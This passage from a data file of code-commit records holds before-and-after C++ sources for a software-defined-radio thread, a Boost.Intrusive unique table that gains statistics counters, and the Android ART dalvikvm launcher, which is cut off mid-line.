\/ (stats.tstop - stats.tstart));\n    \/* *INDENT-ON* *\/\n    audio_out.stop();\n    fft->stop();\n    sdr_dev->stop();\n    delete sdr_dev;\n\n    delete rx;\n\n    is_running = false;\n}\n\nvoid SdrThread::process(void)\n{\n    quint32    samples_in = buflen;\n    quint32    samples_read;\n    int        samples_out;\n\n    SDR_THREAD_DEBUG(\"SDR process entered\\n\");\n\n    fft_data_buf = new complex_t[FFT_SIZE];\n    fft_swap_buf = new complex_t[FFT_SIZE];\n    input_samples = new complex_t[buflen];\n    output_samples = new real_t[buflen];\n    aout_buffer = new qint16[buflen];\n\n    while (!thread->isInterruptionRequested())\n    {\n        if (!is_running)\n        {\n            QThread::msleep(100);\n            continue;\n        }\n\n        if (sdr_dev->get_num_samples() < samples_in)\n        {\n            QThread::usleep(2000);\n            continue;\n        }\n\n        samples_read = sdr_dev->read_samples(input_samples, samples_in);\n        if (samples_read == 0)\n        {\n            QThread::usleep(2000);\n            continue;\n        }\n        stats.samples_in += samples_read;\n\n        \/\/ TODO: Decimate\n\n        fft->add_fft_input(samples_read, input_samples);\n        samples_out = rx->process(samples_read, input_samples, output_samples);\n        \/\/ TODO: SSI\n        \/\/ NOTE: samples_out = -1 means SSI below squelch level\n\n        if (samples_out > 0)\n        {\n            int    i;\n\n            for (i = 0; i < samples_out; i++)\n                aout_buffer[i] = (qint16)(32767.0f * output_samples[i]);\n\n            audio_out.write((const char *) aout_buffer, samples_out * 2);\n            stats.samples_out += samples_out;\n        }\n    }\n\n    \/* *INDENT-OFF* *\/\n    delete[] fft_data_buf;\n    delete[] fft_swap_buf;\n    delete[] aout_buffer;\n    delete[] output_samples;\n    delete[] input_samples;\n    \/* *INDENT-ON* *\/\n}\n\nvoid SdrThread::thread_finished(void)\n{\n    SDR_THREAD_DEBUG(\"SDR thread finished\\n\");\n}\n\nvoid SdrThread::setRxFrequency(qint64 freq)\n{\n    if (!is_running)\n        return;\n\n    if (sdr_dev->set_freq(freq))\n        SDR_THREAD_DEBUG(\"Error setting frequency\\n\");\n}\n\nvoid SdrThread::setDemod(sdr_demod_t demod)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_demod(demod);\n}\n\nvoid SdrThread::setRxFilter(real_t low_cut, real_t high_cut)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_filter(low_cut, high_cut);\n}\n\nvoid SdrThread::setRxCwOffset(real_t offset)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_cw_offset(offset);\n}\n\nvoid SdrThread::resetStats(void)\n{\n    stats.tstart = time_ms();\n    stats.tstop = 0;\n    stats.samples_in = 0;\n    stats.samples_out = 0;\n}\n\nquint32 SdrThread::getFftData(real_t *fft_data_out)\n{\n    quint32    fft_samples;\n    quint32    i;\n    real_t     pwr;\n\n    if ((fft_samples = fft->get_fft_output(fft_data_buf)) == 0)\n        return 0;\n\n    \/\/ shift buffer\n    int    cidx = fft_samples \/ 2;\n    memcpy(fft_swap_buf, &fft_data_buf[cidx], sizeof(complex_t) * cidx);\n    memcpy(&fft_swap_buf[cidx], fft_data_buf, sizeof(complex_t) * cidx);\n\n#define FFT_PWR_SCALE   (1.0f \/ ((float)FFT_SIZE * (float)FFT_SIZE))\n    for (i = 0; i < fft_samples; i++)\n    {\n        pwr = FFT_PWR_SCALE * (fft_swap_buf[i].im * fft_swap_buf[i].im +\n                               fft_swap_buf[i].re * fft_swap_buf[i].re);\n        fft_data_out[i] = 10.0 * log10f(pwr + 1.0e-20);\n    }\n\n    return fft_samples;\n}\n<commit_msg>Reduce device gain<commit_after>\/*\n * Main SDR sequencer thread\n *\n * This file is part of softrig, a simple software defined radio transceiver.\n *\n * Copyright 2017 Alexandru Csete OZ9AEC.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include <QThread>\n\n#include \"interfaces\/audio_output.h\"\n#include \"nanosdr\/common\/datatypes.h\"\n#include \"nanosdr\/common\/sdr_data.h\"\n#include \"nanosdr\/common\/time.h\"\n#include \"nanosdr\/interfaces\/sdr_device.h\"\n#include \"nanosdr\/fft_thread.h\"\n#include \"nanosdr\/receiver.h\"\n#include \"sdr_thread.h\"\n\n#if 1\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#include <stdio.h>\n#define SDR_THREAD_DEBUG(...) fprintf(stderr, __VA_ARGS__)\n#else\n#define SDR_THREAD_DEBUG(...)\n#endif\n\nSdrThread::SdrThread(QObject *parent) : QObject(parent)\n{\n    is_running = false;\n    buflen = 30720;            \/\/ 20 msec @ 1.536 Msps\n\n    sdr_dev = 0;\n    rx = 0;\n    fft_data_buf = 0;\n    fft_swap_buf = 0;\n    input_samples = 0;\n    output_samples = 0;\n    aout_buffer = 0;\n    resetStats();\n\n    audio_out.init();\n\n    fft = new FftThread();\n    fft->init(FFT_SIZE, 20);\n\n    thread = new QThread();\n    moveToThread(thread);\n    connect(thread, SIGNAL(started()), this, SLOT(process()));\n    connect(thread, SIGNAL(finished()), this, SLOT(thread_finished()));\n    thread->setObjectName(\"SoftrigSdrThread\\n\");\n    thread->start();\n}\n\nSdrThread::~SdrThread()\n{\n    if (is_running)\n        stop();\n\n    thread->requestInterruption();\n    thread->quit();\n    thread->wait(10000);\n    delete thread;\n\n    delete fft;\n}\n\nint SdrThread::start(void)\n{\n    if (is_running)\n        return SDR_THREAD_OK;\n\n    SDR_THREAD_DEBUG(\"Starting SDR thread...\\n\");\n\n    sdr_dev = sdr_device_create_rtlsdr();\n    if (sdr_dev->init(1536000, \"\") != SDR_DEVICE_OK)\n    {\n        \/\/ FIXME: Emit error string\n        return SDR_THREAD_EDEV;\n    }\n    sdr_dev->set_gain(SDR_DEVICE_RX_LNA_GAIN, 60);\n\n    rx = new Receiver();\n    rx->init(1536000, 48000, 100, buflen);\n\n    is_running = true;\n\n    resetStats();\n    sdr_dev->start();\n    fft->start();\n    audio_out.start();\n\n    return SDR_THREAD_OK;\n}\n\nvoid SdrThread::stop(void)\n{\n    if (!is_running)\n        return;\n\n    SDR_THREAD_DEBUG(\"Stopping SDR thread...\\n\");\n\n    stats.tstop = time_ms();\n    \/* *INDENT-OFF* *\/\n    SDR_THREAD_DEBUG(\"Receiver statistics:\\n\"\n                     \"  Time: %\" PRIu64 \" ms\\n\"\n                     \"  Samples in:  %\" PRIu64 \" samples = %\" PRIu64 \" sps\\n\"\n                     \"  Samples out: %\" PRIu64 \" samples = %\" PRIu64 \" sps\\n\",\n                     stats.tstop - stats.tstart,\n                     stats.samples_in,\n                     (1000 * stats.samples_in) \/ (stats.tstop - stats.tstart),\n                     stats.samples_out,\n                     (1000 * stats.samples_out) \/ (stats.tstop - stats.tstart));\n    \/* *INDENT-ON* *\/\n    audio_out.stop();\n    fft->stop();\n    sdr_dev->stop();\n    delete sdr_dev;\n\n    delete rx;\n\n    is_running = false;\n}\n\nvoid SdrThread::process(void)\n{\n    quint32    samples_in = buflen;\n    quint32    samples_read;\n    int        samples_out;\n\n    SDR_THREAD_DEBUG(\"SDR process entered\\n\");\n\n    fft_data_buf = new complex_t[FFT_SIZE];\n    fft_swap_buf = new complex_t[FFT_SIZE];\n    input_samples = new complex_t[buflen];\n    output_samples = new real_t[buflen];\n    aout_buffer = new qint16[buflen];\n\n    while (!thread->isInterruptionRequested())\n    {\n        if (!is_running)\n        {\n            QThread::msleep(100);\n            continue;\n        }\n\n        if (sdr_dev->get_num_samples() < samples_in)\n        {\n            QThread::usleep(2000);\n            continue;\n        }\n\n        samples_read = sdr_dev->read_samples(input_samples, samples_in);\n        if (samples_read == 0)\n        {\n            QThread::usleep(2000);\n            continue;\n        }\n        stats.samples_in += samples_read;\n\n        \/\/ TODO: Decimate\n\n        fft->add_fft_input(samples_read, input_samples);\n        samples_out = rx->process(samples_read, input_samples, output_samples);\n        \/\/ TODO: SSI\n        \/\/ NOTE: samples_out = -1 means SSI below squelch level\n\n        if (samples_out > 0)\n        {\n            int    i;\n\n            for (i = 0; i < samples_out; i++)\n                aout_buffer[i] = (qint16)(32767.0f * output_samples[i]);\n\n            audio_out.write((const char *) aout_buffer, samples_out * 2);\n            stats.samples_out += samples_out;\n        }\n    }\n\n    \/* *INDENT-OFF* *\/\n    delete[] fft_data_buf;\n    delete[] fft_swap_buf;\n    delete[] aout_buffer;\n    delete[] output_samples;\n    delete[] input_samples;\n    \/* *INDENT-ON* *\/\n}\n\nvoid SdrThread::thread_finished(void)\n{\n    SDR_THREAD_DEBUG(\"SDR thread finished\\n\");\n}\n\nvoid SdrThread::setRxFrequency(qint64 freq)\n{\n    if (!is_running)\n        return;\n\n    if (sdr_dev->set_freq(freq))\n        SDR_THREAD_DEBUG(\"Error setting frequency\\n\");\n}\n\nvoid SdrThread::setDemod(sdr_demod_t demod)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_demod(demod);\n}\n\nvoid SdrThread::setRxFilter(real_t low_cut, real_t high_cut)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_filter(low_cut, high_cut);\n}\n\nvoid SdrThread::setRxCwOffset(real_t offset)\n{\n    if (!is_running)           \/\/ FIXME\n        return;\n\n    rx->set_cw_offset(offset);\n}\n\nvoid SdrThread::resetStats(void)\n{\n    stats.tstart = time_ms();\n    stats.tstop = 0;\n    stats.samples_in = 0;\n    stats.samples_out = 0;\n}\n\nquint32 SdrThread::getFftData(real_t *fft_data_out)\n{\n    quint32    fft_samples;\n    quint32    i;\n    real_t     pwr;\n\n    if ((fft_samples = fft->get_fft_output(fft_data_buf)) == 0)\n        return 0;\n\n    \/\/ shift buffer\n    int    cidx = fft_samples \/ 2;\n    memcpy(fft_swap_buf, &fft_data_buf[cidx], sizeof(complex_t) * cidx);\n    memcpy(&fft_swap_buf[cidx], fft_data_buf, sizeof(complex_t) * cidx);\n\n#define FFT_PWR_SCALE   (1.0f \/ ((float)FFT_SIZE * (float)FFT_SIZE))\n    for (i = 0; i < fft_samples; i++)\n    {\n        pwr = FFT_PWR_SCALE * (fft_swap_buf[i].im * fft_swap_buf[i].im +\n                               fft_swap_buf[i].re * fft_swap_buf[i].re);\n        fft_data_out[i] = 10.0 * log10f(pwr + 1.0e-20);\n    }\n\n    return fft_samples;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n#define _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n\n\/\/\/ @cond INTERNAL_DOC\n\n#include <boost\/intrusive\/unordered_set.hpp>\n\nnamespace sdd { namespace internal { namespace mem {\n\n\/*-------------------------------------------------------------------------------------------*\/\n\ntemplate <typename Unique>\nclass unique_table\n{\n  \/\/ Can't copy a unique_table.\n  unique_table(const unique_table&) = delete;\n  unique_table& operator=(const unique_table&) = delete;\n\nprivate:\n\n  \/\/\/ @brief We choose a faster, unsafe mode.\n  typedef boost::intrusive::link_mode<boost::intrusive::normal_link> link_mode;\n\n  \/\/\/ @brief Tell Boost.Intrusive how to access to the member hook.\n  typedef boost::intrusive::member_hook< Unique\n                                       , boost::intrusive::unordered_set_member_hook<link_mode>\n                                       , &Unique::member_hook_>\n          member_hook;\n\n  \/\/\/ @brief Tell Boost.Intrusive we want to use the standard hash mechanism.\n  typedef boost::intrusive::hash<std::hash<Unique>> hash_option;\n\n  \/\/\/ @brief The type of the set that helps to unify data.\n  typedef typename boost::intrusive::make_unordered_set<Unique, member_hook, hash_option>::type\n          set_type;\n\n  \/\/\/ @brief A type needed by Boost.Intrusive.\n  typedef typename set_type::bucket_type bucket_type;\n\n  \/\/\/ @brief A type needed by Boost.Intrusive.\n  typedef typename set_type::bucket_traits bucket_traits;\n\n  \/\/\/ @brief The buckets needed by Boost.Intrusive.\n  bucket_type* buckets_;\n\n  \/\/\/ @brief The actual container of unified data.\n  set_type* set_;\n\n\/\/  \/\/\/ @brief The number of hits.\n\/\/  std::size_t hits_;\n\/\/\n\/\/  \/\/\/ @brief The number of misses.\n\/\/  std::size_t misses_;\n\/\/\n\/\/  \/\/\/ @brief The number of deleted entries.\n\/\/  std::size_t deleted_;\n\npublic:\n\n  unique_table(std::size_t initial_size)\n  \t: buckets_(new bucket_type[set_type::suggested_upper_bucket_count(initial_size)])\n    , set_(new set_type(bucket_traits( buckets_\n                                     , set_type::suggested_upper_bucket_count(initial_size))))\n  {\n  }\n\n  unique_table()\n    : unique_table(1000000)\n  {\n  }\n\n  ~unique_table()\n  {\n    delete set_;\n    delete[] buckets_;\n  }\n\n  const Unique&\n  operator()(Unique* u_ptr)\n  {\n    if (load_factor() >= 0.9)\n    {\n      rehash();\n    }\n\n    auto insertion = set_->insert(*u_ptr);\n    if (not insertion.second)\n    {\n      delete u_ptr;\n    }\n    return *insertion.first;\n  }\n\n  void\n  erase(Unique& x)\n  noexcept\n  {\n    set_->erase_and_dispose(x, [](Unique* ptr){delete ptr;});\n  }\n\n  double\n  load_factor()\n  const noexcept\n  {\n    return static_cast<double>(set_->size()) \/ static_cast<double>(set_->bucket_count());\n  }\n\n  std::size_t\n  size()\n  const noexcept\n  {\n    return set_->size();\n  }\n\nprivate:\n\n  void\n  rehash()\n  {\n    const std::size_t new_size = set_->bucket_count() * 2;\n    bucket_type* new_buckets = new bucket_type[new_size];\n    set_->rehash(bucket_traits(new_buckets, new_size));\n    delete[] buckets_;\n    buckets_ = new_buckets;\n  }\n};\n\n\/*-------------------------------------------------------------------------------------------*\/\n\nnamespace \/* anonymous *\/ {\n\ntemplate <typename Unique>\ninline\ninternal::mem::unique_table<Unique>&\nglobal_unique_table()\nnoexcept\n{\n  static internal::mem::unique_table<Unique> unique_table;\n  return unique_table;\n}\n\n} \/\/ namespace anonymous\n\n\/*-------------------------------------------------------------------------------------------*\/\n\ntemplate <typename Unique>\ninline\nconst Unique&\nunify(Unique* u_ptr)\n{\n  return global_unique_table<Unique>()(u_ptr);\n}\n\n\/*-------------------------------------------------------------------------------------------*\/\n\n}}} \/\/ namespace sdd::internal::mem\n\n\/\/\/ @endcond\n\n#endif \/\/ _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n<commit_msg>Unique_table's statistics.<commit_after>#ifndef _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n#define _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n\n\/\/\/ @cond INTERNAL_DOC\n\n#include <boost\/intrusive\/unordered_set.hpp>\n\nnamespace sdd { namespace internal { namespace mem {\n\n\/*-------------------------------------------------------------------------------------------*\/\n\ntemplate <typename Unique>\nclass unique_table\n{\n  \/\/ Can't copy a unique_table.\n  unique_table(const unique_table&) = delete;\n  unique_table& operator=(const unique_table&) = delete;\n\nprivate:\n\n  \/\/\/ @brief We choose a faster, unsafe mode.\n  typedef boost::intrusive::link_mode<boost::intrusive::normal_link> link_mode;\n\n  \/\/\/ @brief Tell Boost.Intrusive how to access to the member hook.\n  typedef boost::intrusive::member_hook< Unique\n                                       , boost::intrusive::unordered_set_member_hook<link_mode>\n                                       , &Unique::member_hook_>\n          member_hook;\n\n  \/\/\/ @brief Tell Boost.Intrusive we want to use the standard hash mechanism.\n  typedef boost::intrusive::hash<std::hash<Unique>> hash_option;\n\n  \/\/\/ @brief The type of the set that helps to unify data.\n  typedef typename boost::intrusive::make_unordered_set<Unique, member_hook, hash_option>::type\n          set_type;\n\n  \/\/\/ @brief A type needed by Boost.Intrusive.\n  typedef typename set_type::bucket_type bucket_type;\n\n  \/\/\/ @brief A type needed by Boost.Intrusive.\n  typedef typename set_type::bucket_traits bucket_traits;\n\n  \/\/\/ @brief The buckets needed by Boost.Intrusive.\n  bucket_type* buckets_;\n\n  \/\/\/ @brief The actual container of unified data.\n  set_type* set_;\n\n  \/\/\/ @brief The number of hits.\n  std::size_t hit_;\n\n  \/\/\/ @brief The number of misses.\n  std::size_t miss_;\n\n  \/\/\/ @brief The number of rehash.\n  std::size_t rehash_;\n\npublic:\n\n  unique_table(std::size_t initial_size)\n  \t: buckets_(new bucket_type[set_type::suggested_upper_bucket_count(initial_size)])\n    , set_(new set_type(bucket_traits( buckets_\n                                     , set_type::suggested_upper_bucket_count(initial_size))))\n  {\n  }\n\n  unique_table()\n    : unique_table(1000000)\n  {\n  }\n\n  ~unique_table()\n  {\n    delete set_;\n    delete[] buckets_;\n  }\n\n  const Unique&\n  operator()(Unique* u_ptr)\n  {\n    if (load_factor() >= 0.9)\n    {\n      ++rehash_;\n      rehash();\n    }\n\n    auto insertion = set_->insert(*u_ptr);\n    if (not insertion.second)\n    {\n      ++hit_;\n      delete u_ptr;\n    }\n    else\n    {\n      ++miss_;\n    }\n    return *insertion.first;\n  }\n\n  void\n  erase(Unique& x)\n  noexcept\n  {\n    set_->erase_and_dispose(x, [](Unique* ptr){delete ptr;});\n  }\n\n  double\n  load_factor()\n  const noexcept\n  {\n    return static_cast<double>(set_->size()) \/ static_cast<double>(set_->bucket_count());\n  }\n\n  std::size_t\n  size()\n  const noexcept\n  {\n    return set_->size();\n  }\n\nprivate:\n\n  void\n  rehash()\n  {\n    const std::size_t new_size = set_->bucket_count() * 2;\n    bucket_type* new_buckets = new bucket_type[new_size];\n    set_->rehash(bucket_traits(new_buckets, new_size));\n    delete[] buckets_;\n    buckets_ = new_buckets;\n  }\n};\n\n\/*-------------------------------------------------------------------------------------------*\/\n\nnamespace \/* anonymous *\/ {\n\ntemplate <typename Unique>\ninline\ninternal::mem::unique_table<Unique>&\nglobal_unique_table()\nnoexcept\n{\n  static internal::mem::unique_table<Unique> unique_table;\n  return unique_table;\n}\n\n} \/\/ namespace anonymous\n\n\/*-------------------------------------------------------------------------------------------*\/\n\ntemplate <typename Unique>\ninline\nconst Unique&\nunify(Unique* u_ptr)\n{\n  return global_unique_table<Unique>()(u_ptr);\n}\n\n\/*-------------------------------------------------------------------------------------------*\/\n\n}}} \/\/ namespace sdd::internal::mem\n\n\/\/\/ @endcond\n\n#endif \/\/ _SDD_INTERNAL_MEM_UNIQUE_TABLE_HH_\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <dlfcn.h>\n#include <signal.h>\n\n#include <cstdio>\n#include <cstring>\n#include <string>\n\n#include \"jni.h\"\n#include \"ScopedLocalRef.h\"\n#include \"toStringArray.h\"\n#include \"UniquePtr.h\"\n\nnamespace art {\n\n\/\/ Determine whether or not the specified method is public.\nstatic bool IsMethodPublic(JNIEnv* env, jclass c, jmethodID method_id) {\n  ScopedLocalRef<jobject> reflected(env, env->ToReflectedMethod(c, method_id, JNI_FALSE));\n  if (reflected.get() == NULL) {\n    fprintf(stderr, \"Failed to get reflected method\\n\");\n    return false;\n  }\n  \/\/ We now have a Method instance.  We need to call its\n  \/\/ getModifiers() method.\n  jclass method_class = env->FindClass(\"java\/lang\/reflect\/Method\");\n  if (method_class == NULL) {\n    fprintf(stderr, \"Failed to find class java.lang.reflect.Method\\n\");\n    return false;\n  }\n  jmethodID mid = env->GetMethodID(method_class, \"getModifiers\", \"()I\");\n  if (mid == NULL) {\n    fprintf(stderr, \"Failed to find java.lang.reflect.Method.getModifiers\\n\");\n    return false;\n  }\n  int modifiers = env->CallIntMethod(reflected.get(), mid);\n  static const int PUBLIC = 0x0001;  \/\/ java.lang.reflect.Modifiers.PUBLIC\n  if ((modifiers & PUBLIC) == 0) {\n    return false;\n  }\n  return true;\n}\n\nstatic int InvokeMain(JNIEnv* env, char** argv) {\n  \/\/ We want to call main() with a String array with our arguments in\n  \/\/ it.  Create an array and populate it.  Note argv[0] is not\n  \/\/ included.\n  ScopedLocalRef<jobjectArray> args(env, toStringArray(env, argv + 1));\n  if (args.get() == NULL) {\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Find [class].main(String[]).\n\n  \/\/ Convert \"com.android.Blah\" to \"com\/android\/Blah\".\n  std::string class_name(argv[0]);\n  std::replace(class_name.begin(), class_name.end(), '.', '\/');\n\n  ScopedLocalRef<jclass> klass(env, env->FindClass(class_name.c_str()));\n  if (klass.get() == NULL) {\n    fprintf(stderr, \"Unable to locate class '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  jmethodID method = env->GetStaticMethodID(klass.get(), \"main\", \"([Ljava\/lang\/String;)V\");\n  if (method == NULL) {\n    fprintf(stderr, \"Unable to find static main(String[]) in '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Make sure the method is public.  JNI doesn't prevent us from\n  \/\/ calling a private method, so we have to check it explicitly.\n  if (!IsMethodPublic(env, klass.get(), method)) {\n    fprintf(stderr, \"Sorry, main() is not public in '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Invoke main().\n  env->CallStaticVoidMethod(klass.get(), method, args.get());\n\n  \/\/ Check whether there was an uncaught exception. We don't log any uncaught exception here;\n  \/\/ detaching this thread will do that for us, but it will clear the exception (and invalidate\n  \/\/ our JNIEnv), so we need to check here.\n  return env->ExceptionCheck() ? EXIT_FAILURE : EXIT_SUCCESS;\n}\n\n\/\/ Parse arguments.  Most of it just gets passed through to the runtime.\n\/\/ The JNI spec defines a handful of standard arguments.\nstatic int dalvikvm(int argc, char** argv) {\n  setvbuf(stdout, NULL, _IONBF, 0);\n\n  \/\/ Skip over argv[0].\n  argv++;\n  argc--;\n\n  \/\/ If we're adding any additional stuff, e.g. function hook specifiers,\n  \/\/ add them to the count here.\n  \/\/\n  \/\/ We're over-allocating, because this includes the options to the runtime\n  \/\/ plus the options to the program.\n  int option_count = argc;\n  UniquePtr<JavaVMOption[]> options(new JavaVMOption[option_count]());\n\n  \/\/ Copy options over.  Everything up to the name of the class starts\n  \/\/ with a '-' (the function hook stuff is strictly internal).\n  \/\/\n  \/\/ [Do we need to catch & handle \"-jar\" here?]\n  bool need_extra = false;\n  const char* lib = \"libdvm.so\";\n  const char* debug = NULL;\n  const char* what = NULL;\n  int curr_opt, arg_idx;\n  for (curr_opt = arg_idx = 0; arg_idx < argc; arg_idx++) {\n    if (argv[arg_idx][0] != '-' && !need_extra) {\n      break;\n    }\n    if (strncmp(argv[arg_idx], \"-XXlib:\", strlen(\"-XXlib:\")) == 0) {\n      lib = argv[arg_idx] + strlen(\"-XXlib:\");\n      continue;\n    }\n\n    options[curr_opt++].optionString = argv[arg_idx];\n\n    \/\/ Some options require an additional argument.\n    need_extra = false;\n    if (strcmp(argv[arg_idx], \"-classpath\") == 0 || strcmp(argv[arg_idx], \"-cp\") == 0) {\n      need_extra = true;\n      what = argv[arg_idx];\n    }\n  }\n\n  if (need_extra) {\n    fprintf(stderr, \"%s must be followed by an additional argument giving a value\\n\", what);\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Make sure they provided a class name.\n  if (arg_idx == argc) {\n    fprintf(stderr, \"Class name required\\n\");\n    return EXIT_FAILURE;\n  }\n\n  \/\/ insert additional internal options here\n\n  if (curr_opt >= option_count) {\n    fprintf(stderr, \"curr_opt(%d) >= option_count(%d)\\n\", curr_opt, option_count);\n    abort();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Find the JNI_CreateJavaVM implementation.\n  std::string library(lib);\n  if (debug != NULL) {\n    library += debug;\n  }\n  void* handle = dlopen(library.c_str(), RTLD_NOW);\n  if (handle == NULL) {\n    fprintf(stderr, \"Failed to dlopen library %s: %s\\n\", library.c_str(), dlerror());\n    return EXIT_FAILURE;\n  }\n  const char* symbol = \"JNI_CreateJavaVM\";\n  void* sym = dlsym(handle, symbol);\n  if (handle == NULL) {\n    fprintf(stderr, \"Failed to find symbol %s: %s\\n\", symbol, dlerror());\n    return EXIT_FAILURE;\n  }\n  typedef int (*Fn)(JavaVM** p_vm, JNIEnv** p_env, void* vm_args);\n  Fn JNI_CreateJavaVM = reinterpret_cast<Fn>(sym);\n\n  JavaVMInitArgs init_args;\n  init_args.version = JNI_VERSION_1_6;\n  init_args.options = options.get();\n  init_args.nOptions = curr_opt;\n  init_args.ignoreUnrecognized = JNI_FALSE;\n\n  \/\/ Start the runtime. The current thread becomes the main thread.\n  JavaVM* vm = NULL;\n  JNIEnv* env = NULL;\n  if (JNI_CreateJavaVM(&vm, &env, &init_args) != JNI_OK) {\n    fprintf(stderr, \"Failed to initialize runtime (check log for details)\\n\");\n    return EXIT_FAILURE;\n  }\n\n  int rc = InvokeMain(env, &argv[arg_idx]);\n\n#if defined(NDEBUG)\n  \/\/ The DestroyJavaVM call will detach this thread for us. In debug builds, we don't want to\n  \/\/ detach because detaching disables the CheckSafeToLockOrUnlock checking.\n  if (vm->DetachCurrentThread() != JNI_OK) {\n    fprintf(stderr, \"Warning: unable to detach main thread\\n\");\n    rc = EXIT_FAILURE;\n  }\n#endif\n\n  if (vm->DestroyJavaVM() != 0) {\n    fprintf(stderr, \"Warning: runtime did not shut down cleanly\\n\");\n    rc = EXIT_FAILURE;\n  }\n\n  dlclose(handle);\n  return rc;\n}\n\n} \/\/ namespace art\n\nint main(int argc, char** argv) {\n  return art::dalvikvm(argc, argv);\n}\n<commit_msg>Use libnativehelper to find JNI_CreateJavaVM<commit_after>\/*\n * copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <signal.h>\n\n#include <cstdio>\n#include <cstring>\n#include <string>\n\n#include \"jni.h\"\n#include \"JniInvocation.h\"\n#include \"ScopedLocalRef.h\"\n#include \"toStringArray.h\"\n#include \"UniquePtr.h\"\n\nnamespace art {\n\n\/\/ Determine whether or not the specified method is public.\nstatic bool IsMethodPublic(JNIEnv* env, jclass c, jmethodID method_id) {\n  ScopedLocalRef<jobject> reflected(env, env->ToReflectedMethod(c, method_id, JNI_FALSE));\n  if (reflected.get() == NULL) {\n    fprintf(stderr, \"Failed to get reflected method\\n\");\n    return false;\n  }\n  \/\/ We now have a Method instance.  We need to call its\n  \/\/ getModifiers() method.\n  jclass method_class = env->FindClass(\"java\/lang\/reflect\/Method\");\n  if (method_class == NULL) {\n    fprintf(stderr, \"Failed to find class java.lang.reflect.Method\\n\");\n    return false;\n  }\n  jmethodID mid = env->GetMethodID(method_class, \"getModifiers\", \"()I\");\n  if (mid == NULL) {\n    fprintf(stderr, \"Failed to find java.lang.reflect.Method.getModifiers\\n\");\n    return false;\n  }\n  int modifiers = env->CallIntMethod(reflected.get(), mid);\n  static const int PUBLIC = 0x0001;  \/\/ java.lang.reflect.Modifiers.PUBLIC\n  if ((modifiers & PUBLIC) == 0) {\n    return false;\n  }\n  return true;\n}\n\nstatic int InvokeMain(JNIEnv* env, char** argv) {\n  \/\/ We want to call main() with a String array with our arguments in\n  \/\/ it.  Create an array and populate it.  Note argv[0] is not\n  \/\/ included.\n  ScopedLocalRef<jobjectArray> args(env, toStringArray(env, argv + 1));\n  if (args.get() == NULL) {\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Find [class].main(String[]).\n\n  \/\/ Convert \"com.android.Blah\" to \"com\/android\/Blah\".\n  std::string class_name(argv[0]);\n  std::replace(class_name.begin(), class_name.end(), '.', '\/');\n\n  ScopedLocalRef<jclass> klass(env, env->FindClass(class_name.c_str()));\n  if (klass.get() == NULL) {\n    fprintf(stderr, \"Unable to locate class '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  jmethodID method = env->GetStaticMethodID(klass.get(), \"main\", 